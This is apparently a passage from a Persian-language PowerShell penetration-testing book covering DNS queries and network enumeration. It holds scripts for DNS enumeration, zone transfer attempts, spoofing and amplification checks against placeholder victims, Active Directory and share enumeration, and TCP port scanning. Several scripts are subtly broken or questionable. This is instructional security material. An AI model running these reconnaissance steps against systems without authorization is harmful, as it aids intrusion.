Authoritative name servers:  اطلاعات را در مورد نام دامنه و آدرس    نیو به روزتر   نیتر ق یسرورها دق  نیا

IP به سوالات مربوط به نام دامنه خاص هستند. ییها مسئول پاسخگوکنند. آن ی م ینگهدار 

Local DNS resolvers:  نترنتیمعمولاً توسط ارائه دهنده خدمات ا هانیا  (ISP )سرپرست شبکه شما ارائه    ای

نام   یو ارسال پرس و جوها به سرورها   ندهیآ یبه جستجوها دنیسرعت بخش یرا برا DNSها سوابق شود. آنی م

 کنند.ی م ره یمعتبر مناسب ذخ
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Types of DNS queries 

DNS  ی پرس و جوها   ی انواع اصل  ادامه بهدهد. در  ی انجام اهداف مختلف انجام م  ی را براها  ی کوئراز    یانواع مختلف  

DNS  پردازیم: می 

A record query:    آدرس    یابیباز  یبرا   یکوئراینIPv4   نوع    نیترج یرا  نیشود. ایمرتبط با نام دامنه استفاده م

  ر یز  یاز کوئر د یتوانی م نال،یترم  کیدر   nslookupاست. به عنوان مثال، با استفاده از دستور  DNSپرس و جو 

 : د یاستفاده کن

nslookup www.snowcapcyber.com 

 گرداند: ی را برم ر یموارد ز  IPv4آدرس   یکوئر  نیا

"www.snowcapcyber.com " 

AAAA record query:    مشابهA Record  ،یکوئر   کی  AAAA  آدرس    یابیباز  یبراIPv6    مرتبط با نام دامنه

 :د ینیرا بب  ریمثال موارد ز یشود. برا ی استفاده م IPv6  یدارا  یهاط یشود. در محی استفاده م

nslookup -query=AAAA www.snowcapcyber.com 

 گرداند: ی را برم ر یموارد ز  IPv6آدرس   یکوئر  نیا

"www.snowcapcyber.com" 

Canonical Name (CNAME) record query:  افت یدامنه و در ریز اینام مستعار  افتنی  یبرا ی کوئراین  

 : مینگاه کن ر یز یکوئربه  د ییایعنوان مثال، ب شود. به ی کند استفاده م ی که به آن اشاره م ی نام دامنه متعارف

nslookup -query=CNAME www.snowcapcyber.com 

 گرداند.ی کند، برمی به آن اشاره م www.snowcapcyber.comرا که  ی نام متعارف یکوئر  نیا

Mail exchange (MX) record query:    منظور   یکوئر این ا  ن ییتع  به  به    ی دگیمسئول رس   لیمی سرور 

 : مینگاه کن  ر یز ی کوئربه  د ییایشود. به عنوان مثال، بی دامنه خاص استفاده م ک ی یها برالیمیا

nslookup -query=MX snowcapcyber.com 

 گرداند. ی را برم  snowcapcyber.comدامنه    ی برا  لیمیا  افت یمسئول در  ل یمیا  ی سرورها  ی کوئر  نیا
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Name server (NS) record query:    افتنی  به منظور   ی کوئراین  Name Server   ک ی  ی معتبر برا  های  

 : می نگاه کن ر یز ی کوئربه  د ییایشود. به عنوان مثال، بی دامنه استفاده م 

nslookup -query=NS snowcapcyber.com 

 گرداند.ی برم  snowcapcyber.comدامنه   ینام معتبر را برا  یسرورها یکوئر  نیا

Pointer (PTR) record query:    معکوس    یجستجو   به منظور  ی کوئراینDNS  ترجمه آدرس ،IP    به نام

 : می نگاه کن ر یز ی کوئربه  د ییایشود. به عنوان مثال، بی دامنه استفاده م 

nslookup 8.8.8.8 

 گرداند. ی را برم IP 8.8.8.8نام دامنه مرتبط با آدرس   یکوئر  نیا

Start of Authority (SOA) record query:    دامنه    ک ی  یدر مورد سرور نام معتبر برا   یاطلاعات  ی کوئراین

 :می نگاه کن ر یز یکوئر به   د ییایدهد. به عنوان مثال، بی ارائه م

nslookup -query=SOA snowcapcyber.com 

 گرداند.  ی را برم  snowcapcyber.comدامنه   ی اطلاعات مربوط به سرور نام معتبر برا یکوئر  نیا

TXT record query :    ی معمولاً برا  رکورد   نیکند. ای م  ی ابیدامنه را باز  ک یمرتبط با    ی اطلاعات متن  ی کوئراین  

نگاه   ر یز یکوئر به   د ییایشود. به عنوان مثال، بی اهداف استفاده م ریو سا  لیمیا تیاحراز هو ی برا SPF ی رکوردها

 : میکن

nslookup -query=TXT www.snowcapcyber.com 

 گرداند.ی را برم www.snowcapcyber.comمرتبط با دامنه  یهرگونه رکورد متن  یکوئر  نیا

DNS  یهاقابل خواندن توسط انسان را به آدرس   یهااست که نام دامنه   نترنتیا  یاتیجزء ح  IP   ل یتبد   یعدد  

ارائه وضوح    یرا برا  های کوئراز    یکند و انواع مختلف ی از سرورها عمل م  ی ساختار سلسله مراتب  قیکند. از طری م

  ر یسا  اینام معتبر    یسرورها  ل،یمیا  ی، سرورهاIP  یهاآدرس   یابیدهد. چه بازی انجام م  4و کارآمد نام دامنه  قیدق

و جوها  DNS  ی رکوردها پرس  مختلف  انواع  مهم  DNS  ی باشد،  و    ن یدر تضم  ینقش  ارتباطات  روان  عملکرد 

  DNS  ی توانند با سرورهای، کاربران م digو    nslookupمانند    ییکنند. با استفاده از ابزارهای م  فایا  نیخدمات آنلا

 
4 domain name resolution 
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  ی ابی  بیاهداف شبکه و ع ی را درک کنند و اطلاعات لازم را برا   هاکوئری   ن یتا نحوه عملکرد ا  ند تعامل داشته باش 

 به دست آورند. 

DNS and PowerShell 

PowerShell   تابع و    نیچندcmdlet  پرس و جو از اطلاعات    ی ها برااز آن   د یتوانی دهد که م ی را ارائه مDNS  

کن اد یاستفاده  در  برخ   یستی ل  نجای.  کل  یاز  توابع  به    یها  cmdletو    ید ی از  در    DNS Queryمربوط 

PowerShell  :آمده است 

Resolve-DnsName:  نی ا  cmdlet   اطلاعات    ی جستجو  یبراDNS  از جمله ،Resolve    کردنFQDN    به

  AAAA(،  IPv4)آدرس    A، مانند  کوئری  انواع مختلف  این دستور،  شود.  ی و بالعکس استفاده م  IP  یهاآدرس 

 .دهد ی معکوس( را ارائه م  ی)جستجو  PTRو   MX  ،NS(، IPv6)آدرس  

Test-DnsServer:  نیا  cmdlet  یسرورها  شیآزما  ی به طور خاص برا  DNS  ی خاص طراح  یرکوردها  ی برا  

را    DNSداده و وجود سوابق    ص یرا تشخ  DNSکند تا مشکلات سرور  ی به شما کمک مدستور    ن یشده است. ا

 . د یکن د ییتأ

[System.Net.Dns :]  PowerShell   به    ی دسترسSystem.Net .NET Framework  کند.  ی را فراهم م

 است. DNSاز   کوئری  یبرا کیاستات یکه شامل متدها Dnsکلاس 

،  DNS  هایکوئری   ی انجام برخ  ی ها و توابع ممکن است برا  cmdlet  نیاز ا  ینکته مهم است که برخ   نیتوجه به ا

که در    د یبه خاطر داشته باش   نیداشته باشند. همچن  ازی ن  یتی ریمد   ازاتیبه امت  ،یمنابع شبکه داخل  یبرا  ژه یبه و 

نصب    یهاو ماژول   PowerShellنسخه    ساس ها و توابع ممکن است بر ا  cmdlet  نیدسترس بودن و رفتار ا

 شما متفاوت باشد. ستمیس  ی شده بر رو

  ای  د یمراجعه کن PowerShell  ی ها، بهتر است به اسناد رسم  cmdlet ایتوابع    نی از ا  ک یقبل از استفاده از هر  

 .د یها استفاده کن آن  یهاها و مثال نه یدرک نحوه استفاده، گز ی برا ی داخل Help ستمیاز س 

Resolve-DnsName  ی دهد سرورهایبه شما امکان م  DNS  یرا برا  Resolve    کردنFQDN   ی هادر آدرس 

IP پردازیممی نحوه استفاده از آن  ادامه به . در د یجستجو کن: 
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$FQDN = "www.snowcapcyber.com.com" 
$Result = Resolve-DnsName -Name $FQDN 
if ($Result.QueryResults.Count -gt 0) { 
      $IPAddress = $Result.QueryResults[0].IPAddress 
      Write-Host "IP address of $FQDN: $IPAddress " 
} else { 
      Write-Host "Unable to resolve IP for $FQDN"} 

 : داده شده استانجام   ر یمثال موارد ز  نیدر ا

 (. FQDN$) م یکنی م ف یشدن تعر Resolve  یرا برا  FQDNما  •

داده شده    FQDN  آی پی  آدرس   یبرا   DNSپرس و جو از سرور    یبرا  Resolve-DnsNameما از   •

 . میکنی استفاده م

 . میدهی م شیاستخراج و نما جه ی را از نت IPآدرس  ن یشود، اول IPآدرس  کی منجر به حداقل  کوئری اگر  •

 شود.ی داده م  شیمناسب نما ام یپ کیبرگردانده نشود،  IPآدرس   چی ه ایناموفق باشد  کوئری اگر  •

دهد انواع  ی ابزار همه کاره است که به شما امکان م  کی   PowerShellدر    Resolve-DnsNameرو،    ن یاز ا

انواع    نیاز ا  کیهر    د ییای. ب د یرا جستجو کن   PTRو    MX  ،NS  ی ، از جمله رکوردهاDNS  یاز رکوردها  یمختلف 

 :می کن یرا با مثال بررس  کوئری 
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Querying MX records:  ی رکوردها  MX  یهاام یپ  افت یمسئول در  ل یمیا  ی مشخص کردن سرورها  ی برا 

  ی پرس و جو از رکوردها  ی برا   Resolve-DnsNameاز    د یتوانی شود. می دامنه استفاده م   ک یاز طرف    ،لیمیا

MX  د یدامنه خاص استفاده کن ک ی یبرا . 

$Domain = " snowcapcyber.com" 
$MXRecords = Resolve-DnsName -Name $Domain -Type MX 
if ($MXRecords) { 
      $MXRecords | ForEach-Object { 
            $MailServer = $_.NameExchange 
            $Preference = $_.Preference 
            Write-Host "MX Record: $Preference" 
      Write-Host "Mail Server: $MailServer"} 
} else { 
      Write-Host "No MX records found for $Domain"} 

را به    MX  ی رکوردها  ،کد این  .  د یکن  نیگزیرا با دامنه مورد نظر خود جا  snowcapcyber.comمثال،    ن یدر ا

 دهد.ی م  شیمربوطه جستجو و نما ی کیپست الکترون یو سرورها  دهیبرگز ماتیهمراه تنظ

Querying NS records:  ی رکوردها  NS   سرورها  ک ینگاشت    ی برا به  معتبر  یدامنه  مسئول    ی نام  که 

Resolve   شود. ی آن دامنه هستند استفاده م هایکوئری 

 است: آورده شده Resolve-DnsNameبا استفاده از   NS مربوط به رکورد   اجرای کوئری نحوه  نجا یدر ا

$Domain = "snowcapcyber.com" 
$NSRecords = Resolve-DnsName -Name $Domain -Type NS 
if ($NSRecords) { 
      $NSRecords | ForEach-Object { 
             $NameServer = $_.NameHost 
            Write-Host "Name Server: $NameServer" } 
} else { 
      Write-Host "No NS records found for $Domain"} 

Snowcapcyber.com رکوردکد این . د یکن نیگزیرا با دامنه مورد نظر خود جا  NS   مرتبط با دامنه

 دهد.ی م  شیرا جستجو و نما
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Querying PTR records:  یرکوردها  PTR   معکوس    یجستجو  یبراDNS  یهاترجمه آدرس   و  IP    به نام

 شود.ی شبکه استفاده م یابی بیو ع  تیامن یمعکوس اغلب برا DNSشود. ی دامنه استفاده م 

$IPAddress = "192.168.27.132" 
$PTRRecords = Resolve-DnsName -Name $IPAddress -Type PTR 
if ($PTRRecords) { 
      $PTRRecords | ForEach-Object { 
            $DomainName = $_.NameHost 
            Write-Host "PTR Record: IP Address $IPAddress resolves 
to $DomainName" } 
} else { 
      Write-Host "No PTR records found for IP address $IPAddress" 
} 

Resolve-DnsName  ابزار قدرتمند در    ک یPowerShell  مختلف    یدهد تا رکوردهای است که به شما اجازه م

DNS  ی از جمله رکوردها  MX ،NS    وPTR  نی. با استفاده از اد یرا جستجو کن cmdlet    کوئریبا انواع مختلف  ،

معکوس به عنوان    DNS  ی و جستجوها  معتبر نام    یسرورها  ل، یمیا  یدر مورد سرورها  یاطلاعات مهم  د یتوانی م

آور  یبخش نفوذ جمع  تست  اد یکن   ی از  م مثال   ن ی.  نشان  م   دهند ی ها    ی برا  PowerShellاز    توانی که چگونه 

  ص یو تشخ  ت یریاطلاعات در مد   ی شبکه و متخصصان فناور  ران یاستفاده کرد و به مد   DNSمرتبط با    یکارها

 . نمودمنابع شبکه کمک 

Test-DnsServer رساختی ز یابیتواند در هنگام ارزی م DNS ارزشمند به جعبه ابزار تست   یهدف، افزودن  کی

 پردازیم: می نحوه استفاده از آن به   نجایباشد. در ا گرنفوذ 

DNS enumeration:   ممکن است بخواهد اطلاعات    گرنفوذ تست    کیاطلاعات،    یآوردر طول مرحله جمع

به   جمع   DNSمربوط  هدف  شبکه  مورد  در  از    ی آوررا  استفاده  با  آن Test-DnsServerکند.  م،  توانند  ی ها 

معتبر    نام   یتبادل نامه و سرورها  ید نام دامنه، سرورهامانن  یکشف اطلاعات ارزشمند   ی را برا  DNS  ی رکوردها

  یاز رکوردها  یجامع از هدف بسازد. برخ  پروفایل   کیکند تا  ی کمک م  گرنفوذ تست  اطلاعات به    نیبرشمارند. ا

DNS  مانند ،SVRاستفاده    یاحتمال  یهای ریپذب یآس   جه ی و در نت  س یسرو  ق یاطلاعات دق  ییشناسا  یتوانند برای ، م

 شوند.
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$Domain = "snowcapcyber.com" 
$DnsServer = "192.168.1.1" 
# Enumerate MX records 
$MXRecords = Test-DnsServer -IPAddress $DnsServer -Name $Domain 
-Type MX 
if ($MXRecords) { 
      Write-Host "MX records for $Domain:" 
      $MXRecords.QueryResults | ForEach-Object { 
             Write-Host "Server: $($_.MailExchange)" } 
} else { 
       Write-Host "No MX records found for $Domain"} 

DNS spoofing and cache poisoning tests:    سع  گراننفوذتست است  از   یممکن  کنند 

مخرب سوء استفاده کنند.    یبه سرورها  کیتراف  تیهدا  یبرا  Cache Poisoningمانند    DNS  یهایریپذ بیآس 

سرور    ایکنند که آ  یابیتوانند ارزی ها م، آن Test-DnsServerهدف با استفاده از    DNS  یهاپاسخ  شیبا آزما

DNS ریخ ایاست  ریپذ بیآس  ل در برابر حملات جع. 

$DnsServer = "192.168.1.1" 
$MaliciousServer = "malicious.com" 
$TargetDomain = "snowcapcyber.com" 
# Test if DNS server resolves to malicious IP 
$DnsResponse = Test-DnsServer -IPAddress $DnsServer -Name 
$TargetDomain -Type A 
if ($DnsResponse.QueryResults.IPAddress -eq "malicious_IP") { 
      Write-Host "Server vulnerable to spoofing." 
} else { 
      Write-Host "DNS server is not vulnerable."} 

Identifying DNS amplification vulnerabilities:  سرورها از  است  ممکن    ی برا   DNS  ی مهاجمان 

ارسال کنند. تست    یقربان  IPداده به    ی ادیز  ریسوء استفاده کنند و باعث شوند که مقاد  Amplificationحملات  

از  ی م  گراننفوذ  و جو  DNSسرور    ایآ   نکهیا  ی ابیارز  یبرا   Test-DnsServerتوانند  پرس  انواع  با    ی به  خاص 

 استفاده کنند.  ریا خیدهد ی شده پاسخ م تیتقو یهاپاسخ
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$DnsServer = "192.168.1.1" 
$QueryType = "ANY" 
$TargetDomain = "victim.com" 
# Test DNS server for amplification vulnerability 
$DnsResponse = Test-DnsServer -IPAddress $DnsServer -Name 
$TargetDomain -Type $QueryType 
if ($DnsResponse.QueryResults.Count -gt 1) { 
      Write-Host "DNS server is vulnerable." 
} else { 
       Write-Host "DNS server is not vulnerable."} 

DNS zone transfer tests:  Zone Transfer  یکربند یرا در مورد پ  یتواند اطلاعات حساس ی م  DNS    دامنه

  ی از سرورها  Zone Transfer  ی برا  Test-DnsServerتوانند از  ی م  گران قرار دهد. تست نفوذ   د یدر معرض د

  ی ریجلوگ  رمجازیغ  یهااند تا از انتقالشده   یکربند یپ  یها به درست آن   ایکنند که آ  یابی نام معتبر استفاده کنند تا ارز

 کنند.

$DnsServer = "192.168.1.1" 
$TargetDomain = "target.com" 
# Test if zone transfer is allowed 
$ZoneTransfer = Test-DnsServer -IPAddress $DnsServer -Name 
$TargetDomain -Type AXFR 
if ($ZoneTransfer.QueryResults) { 
     Write-Host "Transfer allowed $TargetDomain." 
} else { 
     Write-Host "Zone transfer is not allowed."} 

هدف را    DNS  رساختیدهد تا زی اجازه م   ی تیتست نفوذ به متخصصان امن  کیدر    Test-DnsServerگنجاندن  

آس  نظر  پیریپذ بیاز  و  ارز  یهایکربند یها  انجام    یاب ینادرست  با  آزماDNS Enumerationکنند.    ش ی، 

  توانند ی م  گران نفوذ  تست  ،Zone Transfer  یابیو ارز  ،Amplificationخطرات    یجعل، بررس   یهایریپذ بیآس 

نفوذ    یهاحال، انجام تست   نیکنند. با ا  هی را توص  یتیامن   ی کرده و بهبودها  ییرا شناسا  یحمله احتمال  یبردارها

سازمان    رساختیز  تیامن  ش یبه افزا  شیآزما  ند یفرآ   نکهیاز ا  نانیاطم  یو با مجوز مناسب برا  یبه صورت اخلاق

 مهم است. اریبس کند،ی هدف کمک م
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ارائه    DNS  اتیتعامل با عمل  ی برا  ر یراه قدرتمند و انعطاف پذ   ک ی  PowerShellدر    System.Net.Dnsکلاس  

،  IP  یهانام هاست به آدرس   Resolveمانند    DNSمرتبط با    ی دهد تا کارهای کلاس به شما اجازه م  نیدهد. ای م

کلاس    یهات یبخش، به قابل  نی. در اد یمعکوس را انجام ده  ی و انجام جستجوها  DNS  رکوردهایپرس و جو از  

System.Net.Dns  ، میکنی استفاده از آن را ارائه م   یعمل  یهاو نمونه   میپردازی آن م   ید یکل  یهای ژگ یها و ومتد . 

  ی ثابت را برا  یهای ژگ یها و ومتد از    یااز چارچوب دات نت است و مجموعه   ی بخش  System.Net.Dnsکلاس  

  م یبه طور مستق  DNS  یبه جستجو  ازیاست که ن   د یمف  یزمان  ژهیبه و  نیدهد. ای ارائه م  DNSمرتبط با    یهااتیعمل

باش   PowerShellدستورات    ایها  پت یاز داخل اسکر انجام    یابیبی چه در حال ع  .د یخود داشته  اتصال شبکه، 

در جعبه ابزار   یتواند ابزار ارزشمند ی م System.Net.Dnsکلاس   د،یهست DNSاطلاعات  یابیباز ایتست نفوذ 

 شما باشد. 

GetHostAddresses: یهااز آدرس  یاه ی را به آرا زبان ینام م متد  نی ا IP ،Resolve کند.ی م 

[System.Net.Dns]::GetHostAddresses("google.com") 

GetHostEntry:  یهااز جمله آدرس   کند،ی م  یابیباز  زبانیرا در مورد نام م  یق یاطلاعات دق  متد   نیا  IP ی ها، نام  

 متعارف.  یهامستعار و نام 

[System.Net.Dns]::GetHostEntry("google.com") 

GetHostName: گرداند. یرا برم  یمحل انه یرا زبانی نام م متد  ن یا 

[System.Net.Dns]::GetHostName() 

 : میاستفاده کن ری [ به صورت زSystem.Net.Dnsاز ] م یتوانیانجام تست نفوذ، م  نه یدر زم
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Resolve the hostname to an IP address:    از متدGetHostAddresses   یبرا Resolve  نام    ک ی

 : د یمربوطه استفاده کن IPبه آدرس   زبانیم

$ipAddresses = [System.Net.Dns]::GetHostAddresses("google.com") 
$ipAddresses | ForEach-Object { 
     Write-Host "IP Address: $_"} 

Get the detailed host information :    متدGetHostEntry  ارائه    زبان یدر مورد نام م یق ی اطلاعات دق

 دهد:ی م

$hostEntry = [System.Net.Dns]::GetHostEntry("google.com") 
Write-Host "HostName: $($hostEntry.HostName)" 
Write-Host "Aliases: $($hostEntry.Aliases -join ', ')" 
Write-Host "IP Addresses:" 
$hostEntry.AddressList | ForEach-Object { 
     Write-Host " $_"} 

Retrieve the local hostname :    متد از  GetHostName   استفاده    یمحل   انه یرا  زبانی نام م  ی ابیباز  یبرا

 :د یکن

$localHostName = [System.Net.Dns]::GetHostName() 
Write-Host "Local HostName: $localHostName" 
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با کلاس   کار  به دل  یاحتمال  یبه استثناها  ی دگی، رس System.Net.Dnsهنگام  مشکلات    ل یکه ممکن است 

 شوند، مهم است: جادی نام هاست نامعتبر ا ایشبکه 

try { 
     $ipAddresses = [System.Net.Dns]::GetHostAddresses("invalid123") 
     $ipAddresses | ForEach-Object { 
          Write-Host "IP Address: $_" } 
} catch { 
     Write-Host "Error: $($_.Exception.Message)"} 

  ات یاز عمل  یاگسترده   فیدهد که طی امکان را م   ن یبه کاربران ا  PowerShellدر    System.Net.Dnsکلاس  

DNS  ی خود برا  یها متد کلاس با    نیدستورات خود انجام دهند. ا  ایها  پتیاز اسکر  ماًیرا مستق  Resolve    نام

شبکه،    یابی  بیع  یبرا  ،یمحل   زبانیو به دست آوردن نام م  زبانیم   قیاطلاعات دق  یابی، بازIP  یهاهاست به آدرس 

  DNS ات یعمل یهاکه ممکن است تمام جنبه   یارزشمند است. در حال  اریبس DNSمرتبط با   فیتست نفوذ و وظا

ساده کردن تعاملات    یابزار قابل اعتماد و کارآمد برا  کی به عنوان    System.Net.Dnsرا پوشش ندهد، کلاس  

DNS  مح م  PowerShell  ط یدر  می عمل  د  انند کند.  ابزار  گرفتن    ی دگیرس   ، یگریهر  نظر  در  و  استثناها  به 

کلاس    یهات یاست. با استفاده از قابل ی مرتبط با شبکه، ضرور یهات یهنگام انجام فعال ژه یبه و ، یملاحظات اخلاق

System.Net.Dns  کاربران ،PowerShell   مشکلات    ص یاطلاعات، تشخ  ی آورخود را در جمع   ییتوانا  توانند ی م

 دهند.  ش یمختلف افزا ی وهایدر سنار  DNSمرتبط با  فیمؤثر وظا ت یریو مد 

Summary 

و   شبکه  خدمات  تخصص    DNSفصل  با  راهنما  ی غن  PowerShellکه  است،  بر    یبرا  یجامع  یشده  تسلط 

  ق یفصل از طر  ن یا ،ییکارا  ش یدهد. با تمرکز بر افزای اطلاعات ارائه م ی فناور رساختیز ت یریمد  ی اتیح یهاجنبه 

کند. ی م   شیمایشبکه پ  یهاس یسرو  ی ابی  بینظارت و ع  ،یکربند یپ  یبرا  PowerShell  یسیبرنامه نو  یهاتیقابل

  PowerShell  ونیکه چگونه اتوماس   دهد ی فصل نشان م  نی، اDNSرکورد    تیریتا مد   DHCP  یهایکربند یاز پ

 تر کنند.را ساده  اتیتا عمل سازدی را قادر م رانیو مد  کند ی را ساده م فیوظا نیا

کند. با  ی روشن م  ینترنتیآن را در ارتباطات ا  یاختصاص دارد و نقش محور   DNSاز فصل به    یبخش قابل توجه

از    نان یپرس و جوها و اطم  DNS  ،Resolve  مات یتنظ  ی در دستکار  رانی، مد PowerShellاستفاده از  

  ی هاو مثال  یعمل  یهانش یکنند. بی مهارت کسب م  Domain Name Resolution  نانیاطم  تیقابل

  رانیمد   یاطلاعات و هم برا  یمتخصصان باتجربه فناور   یهم برا  یعنوان منابع ارزشمند به   شدهارائه  یعمل
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طور مؤثر  شبکه مدرن را به   یهاط یمح  یسازنه یو به  شی مایپ  یابر  ازیمورد ن  یو ابزارها  کنند ی خدمت م  یمبتد 

  ی شبکه ا  ران یمد   یبرا  یمرجع محور   کیبه عنوان    ،یبا کاربرد عمل   یدانش نظر  بی فصل، ترک  نی. ادهند ی ارائه م

 روزانه خود هستند.  اتیدر عمل  PowerShellکند که به دنبال مهار قدرت ی عمل م

بعد  فصل  از    ،یدر  استفاده  بخش  PowerShellنحوه  عنوان  به  برا  ی را  نفوذ  تست  پورت    ی از  اسکن  انجام 

TCP/UDP  کرد.   م یخواه یبررس 
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 Network Enumeration and Port Scanning - فصل چهارم

ا چگونگ   ن یدر  از    ی فصل،  بخش  PowerShellاستفاده  عنوان  به  برا  ی را  نفوذ  تست  پورت    ی از  اسکن  انجام 

TCP/UDP   استفاده از    ی چگونگ   ،یعمل   یهامثال   ق یکرد. از طر  م ی خواه  یبررسcmdletی خاص را بررس   ی ها  

استفاده کند. در    NET.مانند    گر ید  یهااز توابع در چارچوب   تواند ی م چگونه    PowerShell  اینکه کرد و   میخواه

کرد.    م یخواه  ی انجام اسکن پورت استفاده کرد، بررس   یها برا آن   توان از ی متن باز را که م  ی از ابزارها  ی برخ  ت،ینها

شبکه آغاز    Enumerationانجام    ی مختلف برا  یها  cmdletاستفاده از    یچگونگ  ی فصل را با بررس   ن یاکنون ا

 .میکنی م

 پرداخت:  م یفصل به آنها خواه ن یاست که در ا یموضوعات نیمهمتر  ریموضوعات ز

• Network enumeration using PowerShell 

• TCP port scanning using PowerShell 

• UDP port scanning using PowerShell 

• Using PowerShell tools for port scanning 

Network enumeration using PowerShell 

Network Enumeration  امن  ک ی متخصصان  آن  در  که  است  نفوذ  تست  در  مهم  دارند   یت یمرحله    سعی 

  مورک یو فر  یس یزبان برنامه نو  کی،  PowerShell.  بدست آورند شبکه هدف    اطلاعات بیشتری را در خصوص

ابزار  ی م  ندوز،یو  ی ها  ط یقدرتمند در مح برا  ی تواند  باشد. در    Network Enumerationانجام    ی ارزشمند 

 کرد: م یخواه یبررس را منظور در تست نفوذ  ن یا یبرا  PowerShellاز  ستفادهانحوه  نجا،یا

Discovery of network assets:  PowerShell    شبکه مانند    یهایی دهد تا دارای اجازه م  تست نفوذگرانبه

Host   مانند    یها را کشف کنند. دستورات ها، سرورها و دستگاهTest-Connection  یتوان برای را م  Ping    کردن

Host   ها به کار برد.  در دسترس بودن آن   ی ها و بررسResolve-DnsName  هاست نام    ییتواند به شناسای م  

 کند.  یابیباز را ارز یهاس یها و سروتواند پورتی م Test-NetConnectionکه  ی کمک کند، در حال

Active Directory enumeration:    باPowerShell  ،در   یاطلاعات ارزشمند   توانند ی م  تست نفوذگران

مح  جمع   Active Directory (AD)  ط یمورد  ابزارها  ی آورهدف  -Get-ADUser  ،Getمانند    یی کنند. 

ADComputer    وGet-ADGroupMember  و گروه استفاده    انه یاطلاعات کاربر، را  ی ابیباز  ی توانند برای م

 کند.  ی ه کمک مبالقو ی ساختار شبکه و نقاط ورود رک ها به د داده  نیشوند. ا
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Network shares and permissions:  یهاپتی اسکر  PowerShell   م برا ی را   شناسایی  ی توان 

Shareمانند    ی . دستوراتبه کار بردها  آن   یشبکه و مجوزها   یهاGet-SmbShare    وGet-Acl  ی توان برای را م  

را در مورد مناطق بالقوه    ییهانش ی و ب  هها به کار برد مرتبط با آن   یو حقوق دسترس   های باز  Share  ییشناسا

 .  بدست آوردارائه  یبهره بردار 

Enumeration of network shares and user information:  PowerShell  شناساییتواند  ی م 

Share  هایسرویس شبکه و اطلاعات کاربران را با پرس و جو از    ی ها  LDAP    وSMB  یی کند. ابزارها  ل یتسه  

  ی احتمال  یهایریپذ بیرا در مورد ساختار شبکه و آس   یشتر یاطلاعات ب  توانند ی م  NetUserو    NetViewمانند  

 آشکار کنند.  

Enumeration of running services:  PowerShell    در    یهاس یتا سرو  دهد یاجازه م   تست نفوذگرانبه

رو را  اجرا  شناسا  یها زبان یم   ی حال  از    ییهدف  استفاده  با  مخزن    ای  Get-Serviceکنند.  از  جو  و  پرس 

Windows Management Instrumentation (WMI)    باGet-WmiObject  ، نفوذگران   تست 

نوع    ن یکنند. ا  ی جمع آور  یاحتمال  یهای ریپذ بیها و آس آن   ماتیتنظ   ها،سیدر مورد سرو  یتوانند اطلاعاتی م

 شود.  ی داده م یهاگاهیشامل پا هاسرویس

Vulnerability scanning:  ازPowerShell  هدف،   یهاستم یدر س   یریپذ ب یشروع اسکن آس  ی توان برای م

کند،  ی م  یرا بررس   یمینرم افزار قد   یهانسخه  ایشناخته شده    یهایریپذ ب یکه آس   ییهاپتیبا استفاده از اسکر

 کند.ی حمله بالقوه کمک م ی بردارها یبند  ت یبه اولو نیاستفاده کرد. ا

Port scanning and banner grabbing:  PowerShell's Test-NetConnection    و

InvokeWebRequest  تست  اطلاعات به    ن یانجام اسکن پورت و گرفتن بنر استفاده کرد. ا  ی توان برا ی را م

را که ممکن است مستعد    ی میقد   بالقوه   ی افزارنرم   یها و نسخه   هاس یباز، سرو  یهاپورت   کند ی کمک م   نفوذگر 

 کند. ییشناسا شند،شده باشناخته یهاسوءاستفاده 

 یهاط یدر طول تست نفوذ در مح  Network Enumeration  ی برا  یابزار ضرور   کی   PowerShellرو،    نیاز ا

سازد ی را قادر م   تست نفوذگر   ستم، یبه منابع س   یو دسترس   ی سینو  پتیاسکر  یهاتیقابل  ،یریپذ ق یاست. تطب  ندوزیو

تا نقاط ضعف بالقوه و نقاط    ند کی کمک م  وی کند و به    ی در مورد شبکه هدف را جمع آور  ی اتیتا اطلاعات ح

و    یها به صورت اخلاقت یفعال  نیحال، انجام ا  نی. با انماید   ییشناسا  شتریب   ی بهره بردار  یرا برا   یورود

 است. ی شده ضرور ی ابیشبکه ارز تیاز امن نانیاطم ی با مجوز مناسب برا
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TCP port scanning using PowerShell 

عمل پورت،  بسته    یهاپورت   کیستماتیس   یبررس   ی برا  یاسکن  در    لتریف  ایباز،  است.    ستمیس   ک یشده  هدف 

شده    لتریف   ایبسته    یهاکه پورت  یمهاجمان هستند، در حال  ی باز نشان دهنده نقاط ورود بالقوه برا  یهاپورت

توانند اطلاعات ی م   گران نفوذ  تست  ، باشند. با انجام اسکن پورت  هدف در    ی تیممکن است نشان دهنده اقدامات امن

 کنند. یجمع آور  ستمیس  ایشبکه  یت یامن  تیدر مورد وضع یمهم

Test-NetConnection  کی  cmdlet    در موجود  کاره  و    4.0)نسخه    Windows PowerShellهمه 

  ی توان آن را برا ی حال، م  نید. با اشوی اتصال به شبکه استفاده م  صیتشخ  یدر درجه اول برا( است که  دتریجد 

 داد.  ی کاربر  رییتست نفوذ تغ  نه یانجام اسکن پورت در زم

Single port scanning with Test-NetConnection 

مثال را دنبال    نی، اTest-NetConnectionهدف با استفاده از    زبانیم یاسکن پورت ساده رو  کیانجام    یبرا

 :د یکن

Test-NetConnection -ComputerName 192.168.1.100 -Port 80 
ComputerName                     : 192.168.1.100 
RemoteAddress                     : 192.168.1.100 
RemotePort                            : 80 
InterfaceAlias                         : Ethernet 
SourceAddress                       : 192.168.1.101 
TcpTestSucceeded                : True 

وجود  هدف باز است، که نشان دهنده    ستمیدر س   80کند پورت  ی م  د ییتأ  Test-NetConnectionمثال،    نیدر ا

 باشد.در آن می  وب سرور  کی

Multiple port scanning with Test-NetConnection 

نفوذ   کی ن  گرتست  را    Test-NetConnectionهدف دارد.    ستمیس   کی پورت در    نیبه اسکن چند   از یاغلب 

 خاص استفاده کرد:  یهااز پورت  یست یل ایها از پورت  ی فیاسکن ط یحلقه برا  ک یتوان در ی م

$RemoteHost = "192.168.1.100" 
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$Ports = 80, 443 
foreach ($Port in $Ports) { 
    Test-NetConnection -ComputerName $RemoteHost -Port $Port } 
ComputerName                     : 192.168.1.100 
RemoteAddress                     : 192.168.1.100 
RemotePort                           : 80 
InterfaceAlias                        : Ethernet 
SourceAddress                     : 192.168.1.101 
TcpTestSucceeded                 : True 
ComputerName                     : 192.168.1.100 
RemoteAddress                     : 192.168.1.100 
RemotePort                           : 443 
InterfaceAlias                        : Ethernet 
SourceAddress                      : 192.168.1.101 
TcpTestSucceeded                : False 

  ج یکند. نتای مورد نظر اسکن م  ستم یس   یرا رو   443و    80  یهاپورت   Test-NetConnectionحالت    ن یدر ا

 . ریخ ایهر پورت باز است  ایدهد که آی نشان م

